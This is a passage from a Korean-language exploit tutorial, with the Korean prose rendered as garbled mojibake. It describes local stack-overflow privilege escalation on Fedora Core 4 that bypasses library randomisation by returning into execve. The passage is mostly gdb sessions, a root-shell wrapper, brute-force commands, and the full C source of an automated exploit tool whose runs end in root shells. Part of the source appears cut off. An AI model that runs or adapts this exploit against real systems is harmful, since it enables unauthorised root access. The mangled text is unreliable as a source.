(gdb) br *execve+13 Breakpoint 2 at 0x19e1b9 (gdb) c Continuing. Breakpoint 2, 0x0019e1b9 in execve () from /lib/libc.so.6 (gdb) x/x $esp+0x0c 0xbf8b42b8: 0x080483b4 <--- execve() ÇÔ¼öÀÇ Ã¹ ¹øÂ° ÀÎÀÚ À§Ä¡ ($esp + 0x0c) (gdb) 0xbf8b42bc: 0xbf8b42e8 <--- execve() ÇÔ¼öÀÇ µÎ ¹øÂ° ÀÎÀÚ À§Ä¡ ($esp + 0x10) (gdb) 0xbf8b42c0: 0xbf8b4290 <--- execve() ÇÔ¼öÀÇ ¼¼ ¹øÂ° ÀÎÀÚ À§Ä¡ ($esp + 0x14) (gdb) x 0x080483b4 0x80483b4 <__libc_csu_init>: 0x57e58955 (gdb) 0x80483b8 <__libc_csu_init+4>: 0xec835356 (gdb) 0x80483bc <__libc_csu_init+8>: 0x0000e80c (gdb) x 0xbf8b42e8 0xbf8b42e8: 0x00000000 (gdb) x 0xbf8b4290 0xbf8b4290: 0x08048296 (gdb) 0xbf8b4294: 0x08048296 (gdb) 0xbf8b4298: 0x08048296 (gdb) -- °¢ ÀÎÀÚ·Î ¾²ÀÏ ÀûÀýÇÑ À§Ä¡¸¦ ã±â À§ÇØ ret, nop ¸í·É code¸¦ ÅëÇØ ¿ø·¡ ÁÖ¼Ò·Î ºÎÅÍ $esp¸¦ 4byte¾¿ 9¹ø À̵¿½ÃŲ °á°ú __libc_csu_init() ÇÔ¼ö Äڵ带 ¸í·É¾î·Î ½ÇÇàÇÒ ¼ö ÀÖ´Â °¡´É¼ºÀ» ¹ß°ßÇÏ°Ô µÇ¾ú´Ù. ÀÌ À§Ä¡¿¡ ÀûÀçµÈ ÁÖ¼Ò °ªµéÀº main() ÇÔ¼ö ÀÌÀü¿¡ stack¿¡ ÀúÀåµÈ ³»¿ëÀÌ´Ù. ±×·¯¸é, ¸í·ÉÀ¸·Î ½ÇÇàÇÒ À§Ä¡ÀÇ °ª±îÁö ¾ò¾úÀ¸´Ï, symlink¸¦ ÅëÇØ ¿ì¸®°¡ ±ÇÇÑ »ó½Â¸¦ À§ÇØ ½ÇÇàÇϰíÀÚ ÇÏ´Â ÇÁ·Î±×·¥°ú ¿¬°á½ÃÄÑÁØ ÈÄ, ½ÇÇàÇÏ¸é µÈ´Ù. -- [root@localhost tmp]# su x82 [x82@localhost tmp]$ ls -al strcpy -rwsr-xr-x 1 root root 4678 Jan 11 22:19 strcpy [x82@localhost tmp]$ cat sh.c int main() { setuid(0); setgid(0); system("/bin/sh"); } [x82@localhost tmp]$ gcc -o sh sh.c [x82@localhost tmp]$ ln -s sh `printf "\x55\x89\xe5\x57\x56\x53\x83\xec\x0c\xe8"` (__libc_csu_init()'s code) [x82@localhost tmp]$ while [ 1 ] ; do ./strcpy 000011112222`printf "\x96\x82\x04\x08\x96\x82\x04 \x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04\x08\x96\x82\x04 \x08\x96\x82\x04\x08\xac\xe1\x19\x00"`; done Segmentation fault Segmentation fault Segmentation fault Segmentation fault sh-3.00# id uid=0(root) gid=0(root) groups=500(x82) sh-3.00# -- ¿ª½Ã, ¿¹»ó´ë·Î shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾ú´Ù. :-) ±× ¹Û¿¡ scanf(), strcpy(), gets(), sprintf() µîÀÇ ¹öÆÛ ¿À¹öÇ÷ο쿡 Ãë¾àÇÑ ÇÔ¼öµéÀ» Å×½ºÆ®¸¦ ÇØº» °á°ú, ¸ðµÎ ÈǸ¢ÇÏ°Ô shellÀ» ½ÇÇàÇÏ´Â °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ¾ú´Ù. 0x3. ³¡ ¸ÎÀ½ »õ·Î¿öÁø Fedora Core 4 systemÀÇ local »ó¿¡¼­ ±ÇÇÑÀ» ¾ò´Â stack overflow °ø°ÝÀ» ½ÃµµÇÏ¿© ¼º°øÇغ¸¾Ò´Ù. (Fedora Core 5,6 ½Ã½ºÅÛ¿¡¼­ ½ÃÇèÇØº» °á°ú µ¿ÀÏÇÏ°Ô shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾úÀ½) ÀÌ¿Í °°ÀÌ º¸¾ÈÀÌ °­È­µÈ nonexec-user-memory, random-stack, random-library ȯ°æÀÏÁö¶óµµ ÃæºÐÈ÷ °ø°ÝÀÌ °¡´ÉÇÏ´Ù´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ´Ù. ÀÌ ¹®¼­¸¦ ³»¿ëÀ» ÅëÇØ ¿©·¯ºÐµéµµ ÀڽŸ¸ÀÇ exploit °³¹ß¿¡ µµ¿òÀÌ µÇ¾ú±æ ¹Ù¶õ´Ù. º°Ã· ÄÚµå ¶õ¿¡´Â Fedora core 4 local ȯ°æ¿¡¼­ ÀÚµ¿À¸·Î overflow °ø°ÝÀ» ½ÃµµÇÏ´Â exploit Äڵ带 ÷ºÎÇÏ¿´À¸´Ï ¼³¸í¼­¿Í ÇÔ²² Âü°íÇÏ±æ ¹Ù¶õ´Ù. 0x4. º°Ã· ÄÚµå -- vuln.c -- int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); return 0; } -- -- 0x82-break_FC4.c -- /* ** ** Code name: 0x82-break_FC4.c ** Description: Fedora Core Linux 4 based stack overflow exploit (POC-local) ** -- ** ** This succeeds in attack in random library environment. ** It can execute shell easily through magic return address. ** ** It executes execve() function through __libc_csu_init()'s some area. ** When it's put to '$esp+0xc', our exploit can succeed. ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), . ** My World: http://x82.inetcop.org ** */ #include #include #include #include #include #include #define GDB "/usr/bin/gdb" #define LDD "/usr/bin/ldd" #define GCC "/usr/bin/gcc" #define GREP "/bin/grep" #define OBJDUMP "/usr/bin/objdump" #define AWK "/bin/awk" #define SED "/bin/sed" #define HEAD "/usr/bin/head" #define MAGIC_LIB_ADDR (0x00111000+0x0008d1ac) /* It's my system magic address */ void safe_exit(); int banrl(); unsigned long __get_random_library(char *p); unsigned long __get_random_library_gdb_version(char *p); unsigned long __get_ret_command(char *p); int make_sh_link(char *p); char link_buf[256]; void safe_exit() { unlink(link_buf); unlink("gdb-script"); fprintf(stdout," [*] Ok, exploit end.\n\n"); exit(-1); } int banrl() { fprintf(stdout,"\n 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local)\n\n"); } int main(int argc,char *argv[]) { struct stat tg_st; pid_t pid; unsigned char atk_buf[0xffff]; unsigned long __execve_addr_gdb_type=0; unsigned long __execve_addr=0; unsigned long __ret_code=0; int i=0,j=0; signal(SIGINT,safe_exit); signal(SIGTSTP,safe_exit); (int)banrl(); if(argc<5) { fprintf(stdout," Usage: --\n %s [program path] [buffer size] [brute-force count] [ret count]\n",argv[0]); fprintf(stdout," Ex> %s ./strcpy 8 30 9\n --\n\n",argv[0]); exit(-1); } fprintf(stdout," [+] get target program information.\n"); if(stat(argv[1],&tg_st)!=0) { fprintf(stderr," [-] %s: target program error.\n\n",argv[1]); exit(-1); } #define CHK_BIT(m,S) (((m)&S)==S) if(CHK_BIT(tg_st.st_mode,S_ISUID)||CHK_BIT(tg_st.st_mode,S_ISGID)) { fprintf(stdout," [*] OK, It's setuid or, setgid program.\n"); } else { fprintf(stderr," [-] %s: It's not setuid or setgid program.\n\n",argv[1]); exit(-1); } fprintf(stdout," [+] get execve() address.\n"); memset((u_char *)atk_buf,0,sizeof(atk_buf)); __execve_addr=__get_random_library(argv[1]); __execve_addr_gdb_type=__get_random_library_gdb_version(argv[1]); fprintf(stdout," [+] normal user library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] set user id library execve() address: %p\n",__execve_addr_gdb_type); __execve_addr=(MAGIC_LIB_ADDR); fprintf(stdout," [*] magic library execve() address: %p\n",__execve_addr); fprintf(stdout," [+] get ret code address.\n"); __ret_code=__get_ret_command(argv[1]); fprintf(stdout," [+] ret code address: %p\n",__ret_code); fprintf(stdout," [+] ret code count: %d\n",atoi(argv[4])); make_sh_link(argv[1]); fprintf(stdout," [+] make exploit code.\n"); for(i=0;i:/,/^08/p' | " "%s -F\"\\t\" {'print $2'}",OBJDUMP,p,SED,AWK); if((fp=(FILE *)popen(link_buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)link_buf,0,sizeof(link_buf)); while(fread(&i,1,1,fp)) { if(i==0x0a||i==0x20) { if(strlen(s)<2) { continue; } snprintf(s,sizeof(s)-1,"0x%c%c",s[0],s[1]); link_buf[k++]=strtoul(s,0,0); memset((char *)s,0,sizeof(s)); j=0; } else { s[j++]=i; } } pclose(fp); strncpy(srcname,link_buf,sizeof(srcname)-1); strcat(srcname,".c"); fprintf(stdout," [+] make shell code.\n"); if((fp=fopen(srcname,"w"))==NULL) { fprintf(stderr," [-] fopen() error\n"); exit(-1); } fprintf(fp,"int main() {\n"); fprintf(fp,"\tsetreuid(geteuid(),geteuid());\n"); fprintf(fp,"\tsetregid(getegid(),getegid());\n"); fprintf(fp,"\tsystem(\"/bin/sh\");\n"); fprintf(fp,"}\n"); fclose(fp); snprintf(gcc_buf,sizeof(gcc_buf)-1,"%s -o %s %s",GCC,link_buf,srcname); system(gcc_buf); unlink(srcname); } unsigned long __get_random_library_gdb_version(char *p) { char buf[256]; FILE *fp; long execve_addr=0; memset((char *)buf,0,sizeof(buf)); if((fp=fopen("gdb-script","w"))==NULL) { fprintf(stderr," [-] fopen error\n"); exit(-1); } fprintf(fp,"r x0x\nx execve\n"); fclose(fp); snprintf(buf,sizeof(buf)-1, "%s %s -batch -x gdb-script | %s -w execve | %s -F\" \" {'print $1'}",GDB,p,GREP,AWK); if((fp=(FILE *)popen(buf,"r"))==NULL) { fprintf(stderr," [-] popen() error\n"); exit(-1); } memset((char *)buf,0,sizeof(buf)); fgets(buf,sizeof(buf),fp); pclose(fp); execve_addr=strtoul(buf,0,0); return execve_addr; } /* eoc */ -- * ¼³¸í¼­ [ÁÖÀÇ] ¼º°øÀûÀÎ ½ÃÇèÀ» Çϱâ À§Çؼ± ¹Ýµå½Ã °ø°Ý ´ë»ó ÇÁ·Î±×·¥¿¡ setuid¸¦ ¼³Á¤ÇØ¾ß ÇÑ´Ù. (root°¡ ¾Æ´Ï¾îµµ »ó°ü¾øÀ½) ÀÌ exploit code´Â argv[1] ÀÎÀÚ °ª¿¡ ÀÇÇØ main() ÇÔ¼ö ³»¿¡¼­ ¹ß»ýÇÏ´Â ÀϹÝÀûÀÎ ¹öÆÛ ¿À¹öÇ÷οì Ãë¾àÁ¡À» °ø°ÝÇÏ´Â Proof-of-Concept code Àε¥, »ç¿ë¹ýÀº ¸Å¿ì °£´ÜÇÏ´Ù. -- »ç¿ë ¿¹Á¦: ./0x82-break_FC4 [°ø°Ý ´ë»ó ÇÁ·Î±×·¥] [¹öÆÛ Å©±â] [°ø°Ý ´ëÀÔ È½¼ö] [ret ÄÚµå ½ÇÇà Ƚ¼ö] -- À§ÀÇ ¿¹Á¦¿¡¼­ °ø°Ý ´ë»ó ÇÁ·Î±×·¥Àº strcpy ÇÁ·Î±×·¥À̸ç, ¹öÆÛÀÇ Å©±â´Â 256ÀÌ´Ù. °ø°Ý ´ëÀÔ È½¼ö¸¦ ÁöÁ¤ÇØÁÖ´Â ÀÌÀ¯´Â random library¸¦ exploit Çϱâ À§Çؼ­ÀÌ´Ù. exploit ÀÚü ³»¿¡¼­ ¶óÀ̺귯¸®¸¦ ÅëÇØ ¾òÀº execve() ÇÔ¼ö ÁÖ¼Ò¿Í ½ÇÁ¦ ÇÁ·Î±×·¥ÀÇ execve() ÇÔ¼ö ÁÖ¼Ò°¡ ¸ÅĪµÉ ¶§±îÁö °ø°Ý ´ëÀÔ È½¼ö¸¸Å­ ¹Ýº¹ÇÏ¿© °ø°ÝÀ» ½ÃµµÇÑ´Ù. ¾Õ¼­ ¼³¸íÇßµíÀÌ ³ªÀÇ ½Ã½ºÅÛ¿¡¼­´Â ret Äڵ带 ÃÑ 9¹ø »ç¿ëÇÏ¿© $esp¸¦ À̵¿½ÃÄÑ ¼º°øÇÒ ¼ö ÀÖ¾ú´Ù. (ret ÄÚµå ½ÇÇà Ƚ¼ö ¿É¼ÇÀ» ÅëÇØ ¶Ç ´Ù¸¥ brute-force script exploitÀ» ÀÛ¼ºÇÒ ¼öµµ ÀÖÀ» °ÍÀÌ´Ù.) ´ÙÀ½Àº °ø°ÝÀ» ½ÃµµÇÑ °á°úÀÌ´Ù. -- [x82@localhost tmp]$ cat strcpy.c int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); return 0; } [x82@localhost tmp]$ gcc -o 0x82-break_FC4 0x82-break_FC4.c [x82@localhost tmp]$ ./0x82-break_FC4 ./strcpy 256 30 9 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local) [+] get target program information. [*] OK, It's setuid or, setgid program. [+] get execve() address. [+] normal user library execve() address: 0x2061ac [+] set user id library execve() address: 0xc371ac [*] magic library execve() address: 0x19e1ac [+] get ret code address. [+] ret code address: 0x8048296 [+] ret code count: 9 [+] get __libc_csu_init() address. [+] make shell code. [+] make exploit code. [+] exploit size: 299 [+] Brute-Force count: 30 [00] Brute-force library addr. [01] Brute-force library addr. [02] Brute-force library addr. [03] Brute-force library addr. [04] Brute-force library addr. sh-3.00# id uid=0(root) gid=500(x82) groups=500(x82) sh-3.00# -- 30¹øÀ» ´ëÀÔÇϵµ·Ï ÁöÁ¤Çߴµ¥, ´Ù¼¸ ¹øÂ° °ø°Ý Áß°£¿¡ shellÀÌ ½ÇÇàµÈ °ÍÀ» º¼ ¼ö ÀÖ´Ù. ½Ã½ºÅÛ¿¡ µû¶ó shellÀÌ ½ÇÇàµÇ´Â Ƚ¼ö°¡ Ʋ¸®¸ç, execve() ÇÔ¼öÀÇ ÁÖ¼Ò°¡ ÀÏÄ¡Çϴ Ƚ¼ö¸¸Å­ shellÀÌ ½ÇÇàµÉ °ÍÀÌ´Ù. (´Ü ÇÑ ¹ø¿¡ shellÀÌ ½ÇÇàµÇ´Â °æ¿ìµµ Á¾Á¾ ÀÖÀ½.) ¹®¼­¿¡¼­´Â ÀÚ¼¼È÷ ¼³¸í ¾ÈÇϰí ÀÖÁö¸¸, -fomit-frame-pointer ÄÄÆÄÀÏ ¸ðµå·Î ÃÖÀûÈ­µÈ ÇÁ·Î±×·¥À» °ø°ÝÇÏ´Â ¹æ¹ý ¶ÇÇÑ °°´Ù. ´Ù¸¸, -fomit-frame-pointer ¿É¼Ç¿¡ ÀÇÇØ $ebp ·¹Áö½ºÅͰ¡ Á¦°ÅµÇ¾úÀ» °æ¿ì¿¡´Â °ø°Ý exploitÀ» ÄÄÆÄÀÏ ÇÒ¶§ ´ÙÀ½°ú °°Àº ¿É¼ÇÀ» ºÙ¿© ÄÄÆÄÀÏ ÇØÁÖ±æ ¹Ù¶õ´Ù. -- $ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER -- ´ÜÁö ÀÌ ¿É¼ÇÀ» ºÙ¿© ÄÄÆÄÀÏ ÇØÁÜÀ¸·Î½á, $ebp ·¹Áö½ºÅÍ¿¡ µ¤¾î¾º¿ì´Â Äڵ带 »ý·«ÇÏ¿© exploit¿¡ ¼º°øÇÒ ¼ö ÀÖ´Ù. (Âü°í·Î, ÀÌ¹Ì ¼³¸íÇß´ø ¹Ù¿Í °°ÀÌ ÀÌ exploit ¹æ¹ýÀº $ebp ·¹Áö½ºÅÍ¿Í ÀüÇô »ó°ü¾øÀÌ ÀÌ·ç¾îÁø´Ù.) ´ÙÀ½Àº frame pointer°¡ ¾ø´Â x() ÇÔ¼ö ³»ÀÇ overflow Ãë¾àÁ¡À» exploit ÇÑ °á°úÀÌ´Ù. -- [root@localhost tmp]# cat int_x.c #include int main(int argc,char *argv[]) { x(argv[1]); } int x(char *p) { char buf[8]; strcpy(buf,p); return 0; } [root@localhost tmp]# gcc -o int_x int_x.c -fomit-frame-pointer [root@localhost tmp]# chmod 4755 int_x [root@localhost tmp]# su x82 [x82@localhost tmp]$ gcc -o 0x82-break_FC4 0x82-break_FC4.c -DFOMIT_FRAME_POINTER [x82@localhost tmp]$ ./0x82-break_FC4 ./int_x 8 30 21 0x82-break_FC4 - Fedora Core Linux 4 based stack overflow exploit (POC-local) [+] get target program information. [*] OK, It's setuid or, setgid program. [+] get execve() address. [+] normal user library execve() address: 0xee91ac [+] set user id library execve() address: 0x19e1ac [*] magic library execve() address: 0x19e1ac [+] get ret code address. [+] ret code address: 0x8048296 [+] ret code count: 21 [+] get __libc_csu_init() address. [+] make shell code. [+] make exploit code. [+] target program is -formit-frame-pointer compile mode. [+] exploit size: 95 [+] Brute-Force count: 30 [00] Brute-force library addr. [01] Brute-force library addr. [02] Brute-force library addr. [03] Brute-force library addr. sh-3.00# id uid=0(root) gid=500(x82) groups=500(x82) sh-3.00# -- --- ³ªÁß¿¡ Ãß°¡µÈ *Áß¿äÇÑ* ³»¿ë --- exploitÀ» ½ÃµµÇÏ´ø Áß, Àç¹ÌÀÖ´Â »ç½ÇÀ» ÇÑ °¡Áö ¹ß°ßÇÏ¿´´Ù. ÇÁ·Î±×·¥ÀÇ ¶óÀ̺귯¸® ÁÖ¼Ò¿¡ °ü·ÃµÈ °ÍÀε¥... exploit °ø°Ý code¸¦ º¸¸é, execve ¶óÀ̺귯¸® ÁÖ¼Ò¸¦ ã´Â ºÎºÐÀÌ ÀÖ´Ù. ¶óÀ̺귯¸® ÁÖ¼Ò°¡ ·£´ýÀ̱⠶§¹®¿¡ ÁÖ¼Ò°¡ °è¼Ó º¯°æµÇ´Â °ÍÀ» È®ÀÎÇÒ ¼ö Àִµ¥, ·£´ýÇÏ°Ô °è¼Ó º¯°æµÇ´Â ¶óÀ̺귯¸® ÇÔ¼öÀÇ ÁÖ¼Ò Áß µ¿ÀÏÇÑ ÁÖ¼Ò·Î ¼öÇàµÇ´Â È®·üÀÌ °¡Àå ³ôÀº ƯÁ¤ ¶óÀ̺귯¸® ÇÔ¼ö ÁÖ¼Ò°¡ Á¸ÀçÇÑ´Ù´Â »ç½ÇÀÌ´Ù. ±×·¡¼­, ³ªÀÇ exploit code¿¡¼­´Â ÀÌ ÁÖ¼Ò¸¦ magic library address¶ó ĪÇϰí ÀÖ´Ù. ÀÌ magic library address¸¦ »ç¿ëÇϸé, Áö·çÇÑ brute-force °úÁ¤À» ÃÖ´ëÇÑ ÁÙÀ̰í shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ°Ô µÈ´Ù. (ÇÊÀÚÀÇ ½Ã½ºÅÛ¿¡ ÃÖÀûÈ­µÈ exploit code¿¡¼­´Â 0x19e1ac ÁÖ¼Ò¸¦ magic library address·Î »ç¿ëÇϰí ÀÖÀ½) kernel ¹öÀüÀÌ ´Ù¸¥ µÎ ´ëÀÇ Fedora Core 4 system¿¡¼­ ½ÇÇàÇØº» °á°ú, ³»°¡ »ý°¢Çϰí ÀÖ´Â magic library address¸¦ ÅëÇØ °ø°ÝÀ» º¸´Ù ½±°Ô ¼º°øÇÒ ¼ö ÀÖ¾ú´Ù. :-} --